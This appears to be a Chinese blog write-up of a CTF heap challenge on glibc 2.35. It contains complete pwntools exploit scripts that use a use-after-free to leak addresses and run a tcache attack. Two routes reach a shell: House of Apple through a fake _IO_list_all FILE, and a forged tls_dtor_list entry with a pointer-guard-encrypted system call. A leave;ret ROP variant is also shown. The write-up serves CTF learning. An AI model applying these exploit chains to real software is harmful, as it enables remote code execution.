一个小题目的困惑

网友发了一个题,还给了段录像。

libc-2.35下有UAF有管理块,无edit 有调用exit

先说说题:

有管理块0x18, {size,inuse,ptr} ,free时不清指针。这样建两个块再建0x18块,就可以控制一个块的管理块,从而写入指针。然后show就能泄露任意地址。

指针作个偏移,指向一个已作好头标记的位置就能释放得到重叠块,然后写fd进行tcache attack。

思路:

泄露libc这个方法很多,原WP是释放到unsort再取,其实这题可以直接指向got表或者stdout都比unsort要容易。

然后就是找到一个打的点,高版本的用apple,改IO_list_all。这个WP给的方法是写TLS_tdor_list。这个东西相当于低版本的exit_hook,不过从2.34这此好用的hook就都没了。

原WP里直接取libc的偏移得到fsbase ,不过这个不大容易复现。但问题在于远程确实是这个固定地址。

网上查了很久,只是说2.23是固定的在libc上方。从录像上看是固定的,复现的话如果不打patch而是直接用本机的libc用gdb调起程序确实是固定在那。这可能是就得看docker里怎么设置的了。

摸索了一天,作了两个。第1个就用 apple的打IO_list_all,第2个是打tls_tdor_list

先说第1个。

通过控制一个管理块可以show到所有想要的地址。指向stdout得到libc指向chunk_list得到堆地址,指向释放的块块得到key

然后通过libc.sym['environ']得到栈地址,在栈内有各种地址可以取,这里取了个rtld_global,这个值是程序调起初期ld建立的,这里几乎能找到所有地址。当然从这里也可以找到TLS的块,然后实现对tls_dtor_list的修改。

不过感觉都到这了,直接改 io_list_all会更方便,也不一定。如果有edit就好了,可以直接写栈,如果只有add,free的话,在栈内建块不大容易正好建到指定位置,而本题又没有ret而是直接调用exit。所以写栈这链不大好用。

from pwn import*
context(arch='amd64',log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')

p=process('./vuln')
 
def add(idx, size, msg=b'A'):
    p.sendlineafter(b'>>>',b'1')
    p.sendlineafter(b'input chunk_idx:',str(idx).encode())
    p.sendlineafter(b'Enter chunk size:',str(size).encode())
    p.sendafter(b'Enter chunk data:', msg)

def free(idx):
    p.sendlineafter(b'>>>',b'2')
    p.sendlineafter(b'Enter chunk id:',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>>>',b'3')
    p.sendlineafter(b"[?] Enter chunk id: " ,str(idx).encode())

def Exit():
    p.sendlineafter(b'>>>',b'4')

#gdb.attach(p, "b*0x4016fe\nc")
add(0, 0x28)
add(1, 0x28)
add(2, 0x28)
free(0)
free(1)

#3(1.m,0.m)
add(3, 0x18, flat(0x50, 1, 0x404020)) #stdout+chunk_list
show(0)
msg = p.recv(0x50)
libc.address = u64(msg[:8]) - libc.sym['_IO_2_1_stdout_']
heap = u64(msg[0x40:0x48]) - 0x2a0
print(f"{libc.address = :x} {heap = :x}")

free(3)
add(3, 0x18, flat(0x10,1, heap+0x2c0)) #key
show(1)
key = u64(p.recv(16)[8:])
print(f"{key = :x}")

free(3)
add(3, 0x18, flat(0x8,1,libc.sym['_environ'])) #environ
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")

free(3)
add(3, 0x18, flat(0x8,1,stack-0xd0)) #environ
show(1)
rtld_global = u64(p.recv(8))
print(f"{rtld_global = :x}")

先看写io_list_all

先把fake_file结构写到堆里,这里由于只能建小块不够大,将数据分写到再块里。然后将块建到io_list_all写上指向fake_file的指针。

add(4, 0x28)
add(5, 0x28, flat(0,0x91)) 

#6,7两块的数据连在一起写fake_file
add(6, 0x18)
free(6)

fake_file_addr = heap + 0x420
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({
    0x0: b"  sh;",
    0x28: libc.symbols['system'],
    0xa0: fake_file_addr-0x10, # wide data
    0x88: fake_file_addr+0x100, # 可写,且内存为0即可
    0xD0: fake_file_addr+0x28-0x68, # wide data vtable
    0xD8: libc.symbols['_IO_wfile_jumps'], # vtable  
}, filler=b"\x00")

add(6, 0x80, b'\x00'*0x10 + fake_file[:0x70])
add(7, 0x80, fake_file[0x80:])

#利用3写0的指针,指向0x91标记处,释放后重建将包含4的data块,覆盖4.data.fd进行tcache attack
free(3)
add(3, 0x18, flat(0x8,1,heap+0x2d0))
free(2)
free(4)

free(0)
add(0, 0x80, flat(0,0,0,0x21,0x18,1,heap+0x2a0, 0x31, libc.sym['_IO_list_all']^(heap>>12))) #4.data.fd=_IO_list_all

add(8,0x28)
add(9, 0x28, p64(fake_file_addr))

Exit()
p.interactive()

再看tls_dtor_list

在rtld_global+0x20处有个指针,通过偏移可以计算出tls的地址,这个值在寄存器里是常见的mov rax ,fs:0x28 这个0x28位置是stack_guard也就是栈里canary的值,直接gdb里canary就能得到地址。fs-88就是tls_dtor_list的位置,跟apple一样,在这里定个指针,指向结构体就OK了,结构体写到堆里,然后调用exit的时候触发。

这个结构体内容是{func,obj,map,next} 这个func是加密的,加密方法是真实地址与pointer_guard异或然后循环左移17位(pointer_guard在fs+0x20的位置)如果func写的是system那么第2个obj就是指向/bin/sh的指针。如果不通用system那么第2个开始可以写rop,这里func写leave_ret正好会将obj的地址写到rbp,leave_ret后会移栈执行ROP

'''
gef➤  x/8gx 0x00007ffff7ffd040
0x7ffff7ffd040 <_rtld_global>:  0x00007ffff7ffe2e0      0x0000000000000004
0x7ffff7ffd050 <_rtld_global+16>:       0x00007ffff7ffe5a0      0x0000000000000000
0x7ffff7ffd060 <_rtld_global+32>:       0x00007ffff7fbb150   = fs:0x2a10
'''
#在rtld_global+0x20 找到TLS所在段,得到fsbase
free(3)
add(3, 0x18, flat(0x8,1,rtld_global+0x20)) #
show(0)
fs = u64(p.recv(8)) - 0x2a10
print(f"{fs = :x}")

#fs+0x30 得到porinter_guard  fs+0x28=canary 通过canary确定fs的值
free(3)
add(3, 0x18, flat(0x8,1,fs+0x30)) #
show(1)
pointer_guard = u64(p.recv(8))
print(f"{pointer_guard = :x}")

tls_dtor_list = fs - 88

#tls_dtor{func, obj, map, next}
def rol(v,n):
    return ((v<<n)|(v>>(64-n)))&((1<<64)-1)

'''
__int64 _call_tls_dtors()
{
  _QWORD *i; // rbp
  void (__fastcall *v1)(_QWORD); // rax
  __int64 result; // rax

  for ( i = (_QWORD *)unk_228E88; unk_228E88; i = (_QWORD *)unk_228E88 )
  {
    v1 = (void (__fastcall *)(_QWORD))(__readfsqword(0x30u) ^ __ROR8__(*i, 17));
    unk_228E88 = i[3];
    v1(i[1]);
    _InterlockedSub64((volatile signed __int64 *)(i[2] + 1128LL), 1uLL);
    result = j_free(i);
  }
  return result;
}
'''

add(4, 0x28)
add(5, 0x28, flat(0,0x91)) 

#新建一个块写入伪造的dtor_list,第1个用pointer_guard加密(异或再循环左移17位)
#第1个写system后边写&/bin/sh
#
fake_dtor_list = heap+0x3f0
enc_system = rol(libc.sym['system']^pointer_guard, 17)
add(6, 0x80, flat(enc_system, next(libc.search(b'/bin/sh\0'))))

#利用3写0的指针,指向0x91标记处,释放后重建将包含4的data块,覆盖4.data.fd进行tcache attack
free(3)
add(3, 0x18, flat(0x8,1,heap+0x2d0))
free(2)
free(4)

free(0)
add(0, 0x80, flat(0,0,0,0x21,0x18,1,heap+0x2a0, 0x31, (tls_dtor_list-8)^(heap>>12))) #

add(8,0x28)
add(9, 0x28, flat(0, fake_dtor_list))
#gdb.attach(p)
#pause()

Exit()
p.interactive()

还有写ROP的,这里由于移栈执行时要有足够的栈容易,不然system执行会不够写。所以rop这块要向后写远点。

#ROP 如果写ROP,第1个用leave ret,后边写ROP 
fake_dtor_list = heap+0x3f0 + 0x6e0
enc_leave_ret = rol(0x40132d^pointer_guard, 17)
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
for i in range(10):
    add(6,0x80)
add(6, 0x80, flat(enc_leave_ret, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值